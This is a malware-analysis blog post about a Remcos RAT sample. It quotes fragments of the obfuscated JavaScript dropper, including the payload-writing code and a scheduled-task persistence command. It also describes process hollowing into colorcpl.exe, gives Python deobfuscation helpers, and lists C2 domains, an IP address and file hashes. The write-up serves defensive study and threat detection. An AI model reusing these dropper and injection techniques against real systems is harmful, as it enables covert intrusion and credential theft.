> For the complete documentation index, see [llms.txt](https://0xsec.gitbook.io/0xsec/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xsec.gitbook.io/0xsec/malware-analysis/2026-01-19-remcos.md).

# Remcos RAT Analysis

### Overview

Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers. It is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns. Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user. It is developed by the cybersecurity company BreakingSecurity.

SAMPLE - `3def24b7506a546ad97fa0447777e57d78aaf37d9e9234240acae6fc582b7f22`

### Static Analysis - Stage 1

After downloading the sample I did a basic search over MalwareBazaar and virustotal to get some intel about the malware, it came out that it was marked malicious by `11` vendors in malwarebazaar and `14` by virustotal.

<figure><img src="/files/7YSgPpBY0vlri1sX1boB" alt=""><figcaption></figcaption></figure>

<p align="center"><em>Figure 1: Virustotal</em></p>

<figure><img src="/files/5Y2WMJlVufFNFI9BP2j1" alt=""><figcaption></figcaption></figure>

<p align="center"><em>Figure 2: Junk strings with special characters</em></p>

After extraction, got a `js` script which means that this malware is spreading via E-mail attachements and can be of other file formats too. When i opened it script in notepad, its highly obfuscated with junk strings and special characters and in between these strings code of malware resides. After clearing out junk strings I got the main code but its still highly obfuscated to read and still contained those junk strings, this was done change the entropy of malware and make it difficult for AV to detect. But scrolling through code some strings caught my attention like `SaveToFile, Run, CreateObject, PublicLibraries`.

<figure><img src="/files/0TQ6cHNPin5L5DsyP7S5" alt=""><figcaption></figcaption></figure>

<p align="center"><em>Figure 3: Obfuscated strings</em></p>

```js
(function (_0x395a8b, _0x44740b) {
  var _0x405d1b = _0x395a8b();
  while (true) {
    try {
      var _0x49683b = -parseInt(VDJZUXZDMZHYJTWOMKOIJDVYGRIYWBWPBFAVPKJIZOSXBQMQXOCGGHJXX(0x181)) / 0x1 * (-parseInt(VDJZUXZDMZHYJTWOMKOIJDVYGRIYWBWPBFAVPKJIZOSXBQMQXOCGGHJXX(0x130)) / 0x2) + -parseInt(VDJZUXZDMZHYJTWOMKOIJDVYGRIYWBWPBFAVPKJIZOSXBQMQXOCGGHJXX(0x183)) / 0x3 * (parseInt(VDJZUXZDMZHYJTWOMKOIJDVYGRIYWBWPBFAVPKJIZOSXBQMQXOCGGHJXX(0x148)) / 0x4) + parseInt(VDJZUXZDMZHYJTWOMKOIJDVYGRIYWBWPBFAVPKJIZOSXBQMQXOCGGHJXX(0x1a0)) / 0x5 + -parseInt(VDJZUXZDMZHYJTWOMKOIJDVYGRIYWBWPBFAVPKJIZOSXBQMQXOCGGHJXX(0x1a2)) / 0x6 + parseInt(VDJZUXZDMZHYJTWOMKOIJDVYGRIYWBWPBFAVPKJIZOSXBQMQXOCGGHJXX(0x1af)) / 0x7 + parseInt(VDJZUXZDMZHYJTWOMKOIJDVYGRIYWBWPBFAVPKJIZOSXBQMQXOCGGHJXX(0x11f)) / 0x8 + -parseInt(VDJZUXZDMZHYJTWOMKOIJDVYGRIYWBWPBFAVPKJIZOSXBQMQXOCGGHJXX(0x1b0)) / 0x9;
      if (_0x49683b === _0x44740b) {
        break;
      } else {
        _0x405d1b.push(_0x405d1b.shift());
      }
    } catch (_0x33323c) {
      _0x405d1b.push(_0x405d1b.shift());
    }
  }
})(_0x4085, 0x50ea0);
```

So the script starts with a [IIEF](https://www.w3schools.com/js/js_function_iife.asp) after [deofuscating](https://obf-io.deobfuscate.io/), its understood that it performs String Array Rotation by moving first item to end, with paramters `_0x4085` which might be long list of scrambled strings and `0x50ea0` as target value. Then this `function WWWWWWWWW(_0x51c5bf)` which is a custom encoder and decoder that maps character to custom codes back and forth like `80 <-> 00C7` and next it again has same function that does same thing but its like a different version of it.

```js
function VDJZUXZDMZHYJTWOMKOIJDVYGRIYWBWPBFAVPKJIZOSXBQMQXOCGGHJXX(_0x23ef77, _0x36a72f) {
  var _0x4085fc = _0x4085();		//main array
  VDJZUXZDMZHYJTWOMKOIJDVYGRIYWBWPBFAVPKJIZOSXBQMQXOCGGHJXX = function (VDJZUXZDMZHYJTWOMKOIJDVYGRIYWBWPBFAVPKJIZOSXBQMQXOCGGHJXX1a, _0x2a5b13) {
    VDJZUXZDMZHYJTWOMKOIJDVYGRIYWBWPBFAVPKJIZOSXBQMQXOCGGHJXX1a = VDJZUXZDMZHYJTWOMKOIJDVYGRIYWBWPBFAVPKJIZOSXBQMQXOCGGHJXX1a - 0x10f;
    var _0xd1403d = _0x4085fc[VDJZUXZDMZHYJTWOMKOIJDVYGRIYWBWPBFAVPKJIZOSXBQMQXOCGGHJXX1a];
    return _0xd1403d;
  };
  return VDJZUXZDMZHYJTWOMKOIJDVYGRIYWBWPBFAVPKJIZOSXBQMQXOCGGHJXX(_0x23ef77, _0x36a72f);
}
```

Then there is `VDJZUXZDMZHYJTWOMKOIJDVYGRIYWBWPBFAVPKJIZOSXBQMQXOCGGHJXX` which is string retriever wrapper that first redefines itself so setup code don't have to be called again and again, just returns value by calculating index and fetching string at that index also it immediately calls itself so that redefined function now being utilized.

```js
var LOUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUONIA = VDJZUXZDMZHYJTWOMKOIJDVYGRIYWBWPBFAVPKJIZOSXBQMQXOCGGHJX(0x114);
var OPONIA = VDJZUXZDMZHYJTWOMKOIJDVYGRIYWBWPBFAVPKJIZOSXBQMQXOCGGHJX(0x153);
var erONIA = OPONIA.split('99')[VDJZUXZDMZHYJTWOMKOIJDVYGRIYWBWPBFAVPKJIZOSXBQMQXOCGGHJX(0x1a4)]('');   //split and join
var myObject = new ActiveXObject(erONIA);
```

It then uses split and join technique to execute Windows script host using [ActiveXObject](https://udn.realityripple.com/docs/Archive/Web/JavaScript/Microsoft_Extensions/ActiveXObject) like `WScript.Shell, Scripting.FileSystemObject` etc. Then there are some more custom mapped codes and after that it has a varible that store something likely a path but obfuscated between lots of `99` so now we can get what its really mean by using same techniques split and join, and i got the path `C:\Users\Public\Libraries\`. It then check for a filename `VDJZUXZDMZHYJTWOMKOIJDVYGRIYWBWPBFAVPKJIZOSXBQMQXOCGGHJ` if not exist then creates it in directory and afterwards builds certain variables like `newpath, MNBYTUIOP` from which `MNBYTUIOP` stores `Scripting.FileSystemObject` and creates its object which gets stored in `newpath`.

```js
 if (awwwank.FileExists(HGJHKKLL)) {} else {
    if ("BBBBBSTBBBBB".split('99').join('') === 'YESSSSSSSS') {
      awwwank.CopyFile(scriptName, HGJHKKLL);
      var IHUUHAIA = 'WScript.Shell'
      var HBBHA = "cmd /c schtasks /create /sc minute /mo 10 /tn" + scriptName + " /tr " + HGJHKKLL;

```

Now it checks existence of newly created file and also checks if `BBBBBSTBBBBB` is equal to `YESSSSSSSS`, obviously not then copies current running script into a directory and then it builds shell command `cmd /c schtasks /create /sc minute /mo 10 /tn` which is using schedule task for persistence and it runs this task every `10 minutes`.

```js
function makeid(_0x423f2e) {
  var _0x2bd236 = '';
  var _0xdafb42 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.length;
  for (var _0x4fe693 = 0x0; _0x4fe693 < _0x423f2e; _0x4fe693++) {
    _0x2bd236 += 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.charAt(Math.floor(Math[VDJZUXZDMZHYJTWOMKOIJDVYGRIYWBWPBFAVPKJIZOSXBQMQXOCGGHJX(0x136)]() * _0xdafb42));
  }
  return _0x2bd236;
}

function FDAWE(_0x13e65a) {
    var _0x119246 = _0x13e65a.split('');
    var _0x439e6a = _0x119246.reverse();
    var _0x184107 = _0x439e6a.join('');
    return _0x184107;
}
```

`makeid` is used to generate random strings for files and directories and also a **string reversal function** `FDAWE` that work is to reverse the string and join it together during execution. Now it creates a new object of `Microsoft.XMLDOM` and creates a `t` element with datatype of `bin.base64` also applies `FDAWE` on a large blob and cleans out(**replace all symbols to space**) that blob to store it as a text. Here is the script of it:

```python
def clean_and_restore_blob(blob):
    restored_order = blob[::-1]

    step1 = restored_order.replace('99', '')
    step2 = step1.replace('?', '')
    step3 = step2.replace('~', '')
    step4 = step3.replace(' ', '')
    step5 = step4.replace('!', '')
    step6 = step5.replace('#', '')
    step7 = step6.replace('$', '')
    step8 = step7.replace('%', '')
    step9 = step8.replace('^', '')
    step10 = step9.replace('&', '')
    step11 = step10.replace('*', '')
    final_cleaned = step11.replace('>', '')
    
    return final_cleaned
blob = "----------BLOB--------------"
cleaned_blob = clean_and_restore_blob(blob)
print(f"Final Blob: {cleaned_blob}")
```

```js
var b = new ActiveXObject(ADODB.Stream);
b.Type = 0x1;
b.Open();
b.Write(E.nodeTypedValue);
b.Position = 0x0;
b.Type = 0x1;
b.SaveToFile("C:\\Users\\Public\\Libraries\\VDJZUXZDMZHYJTWOMKOIJDVYGRIYWBWPBFAVPKJIZOSXBQMQXOCGGHJ", 0x2);
```

And it then writes binary data using `ADODB.Stream` and save it into file `VDJZUXZDMZHYJTWOMKOIJDVYGRIYWBWPBFAVPKJIZOSXBQMQXOCGGHJ` and [overwrites](https://learn.microsoft.com/en-us/previous-versions/sql/ado/reference/ado-api/saveoptionsenum?view=sql-server-ver15) if already present. Then it does same thing again twice and stores them in `.exe and .png` file at same location. Now it creates `WScript.Shell` object and runs both `exe` and `png` binary. So this `js` script is just a dropper which dumps the exe and a png file also making persistence using `schedule task`.

### Dynamic Analysis - Stage 1

I just executed the script and since we already know where its gonna be dropped and it will also schedule task So lets analyze whats happens after its being executed with `system informer` opened.

<figure><img src="/files/dj7Vx6RQqQPjA2XZz8bz" alt=""><figcaption></figcaption></figure>

<p align="center"><em>Figure 4: Dropping files and colorcpl.exe process</em></p>

It dropped the malware in `C:\Users\Public\Libraries` and starts the malware with `colorcpl.exe` but one thing to note that it uses `schedule task` for persistance but i didn't saw any entry in `autorun` to verify it i even put all tasks in a text file and searched in that too but nothings there, its because above condition not satifies that `YESSSSSSS` check.

### Static Analysis - Stage 2

Now lets analysze the dropped *exe*, implant and *png* file and the exe file came out to be a `autoit script` so we need to decompile it but the tools like `myAutToExe, autoit-ripper` are failing because maybe it can have different header. But I was wrong the main script code is written in that `png` file and the exe file somehow runs the command in the png file.

<figure><img src="/files/WAUQCsurAJWZI9Fu7jrW" alt=""><figcaption></figcaption></figure>

<p align="center"><em>Figure 5: Flow of malware which i understood</em></p>

So now, lets analyze what the script does? At first, it has a custom decryption function that takes strings data, convert it to binary and perform BitXOR operation using key `99`.Here is the python equivalent script of it:

```python
def xor_hex_string(hex_input, xor_key=99):
    if hex_input.startswith("0x"):
        hex_input = hex_input[2:]
    binary_data = bytes.fromhex(hex_input)
    result = ""
    for byte in binary_data:
        result += chr(byte ^ xor_key)
    return result

input_str = "0x0806110D060F50514D070F0F"  #kernal32.dll
input_str_1 = "0x20593F340A0D070C14103F301A10140C1455573F000C0F0C1100130F4D061B06"  #C:\Windows\Syswow64\colorcpl.exe
output = xor_hex_string(input_str)
print(f"Decoded string: {output}")
output = xor_hex_string(input_str_1)
print(f"Decoded string: {output}")

```

<figure><img src="/files/BhIT549Ykxo8PjhlrJ6t" alt=""><figcaption></figcaption></figure>

<p align="center"><em>Figure 6: Reads raw blob data</em></p>

Now it creates a struct using `DllStructCreate` and set some values to it you can also see what its doing just by putting those hex values to script, and then do some checks using `Dllcall` for strings like `kernal32.dll, C:\Windows\Syswow64\colorcpl.exe, CreateProcessA` means calls Create process of **colorcpl** in suspended state, if the checks passes then it opens the raw blob file `VDJZUXZDMZHYJTWOMKOIJDVYGRIYWBWPBFAVPKJIZOSXBQMQXOCGGHJ` reads it and sets the blob after decoding it using BitXOR with key `1185463`. It utilizes same process hollowing techniques as [AgentTesla](https://0xsec1.github.io/posts/AgentTesla/) using `NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx` to inject the shellcode in legitimate windows process `colorcpl.exe`.

### Dyamic Analysis - Stage 2

<figure><img src="/files/oFCBkoQqrHw8iUuFenou" alt=""><figcaption></figcaption></figure>

<p align="center"><em>Figure 7: Interesting strings</em></p>

So I ran the dropped malware again and dumped all the things while the malware is running as `colorcpl` using *procdump* and saw strings like `Remcos Agent initialized`, details about user, OS, CPU and its architecture and some dns like `mindabusiness.duckdns.org, mattersthatmatters.duckdns.org, greatmatteronly.duckdns.org` also hints that it crafts **http** requests. Also it logs the keystrokes, credential theft.

<figure><img src="/files/EzmVLgvqEcJm68ZMaL8N" alt=""><figcaption></figcaption></figure>

<p align="center"><em>Figure 8: HTTP request hints</em></p>

<figure><img src="/files/34J9zO6fcOqWEtiMkvIN" alt="" width="158"><figcaption></figcaption></figure>

<p align="center"><em>Figure 9: List of different domains and subdomain</em></p>

<figure><img src="/files/X8kcdWDGmjL70yQsSD8m" alt=""><figcaption></figcaption></figure>

<p align="center"><em>Figure 10: Trying to communicate to DNS domains</em></p>

It also tweaks settings of the browser and there is a big list of different domains and subdomains which maybe used as different C2 domains so in case if one goes down it switch to other domain and RAT will still work. While malware is running i made a fakenet to see the C2 domain and got a IP `185.208.156.187` to which is flagged suspicious by a [vendor](https://www.virustotal.com/gui/ip-address/185.208.156.187/detection).

### IOC

* DNS Domains: `mindabusiness.duckdns.org, mattersthatmatters.duckdns.org, greatmatteronly.duckdns.org`
* Legitimate Process: `colorcpl.exe`
* Hashes

```
aa69940b8845fd03a4784db92bd2352f482d66652cf4e92cd7560567c84dc622 -> Raw Blob
f60e93d2152e8b3e6c132c37e22a47c6ce63c4ecb4ad4b745a345719d02e71a1 -> AutoIt script
```

* C2 IP: `185.208.156.187`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://0xsec.gitbook.io/0xsec/malware-analysis/2026-01-19-remcos.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
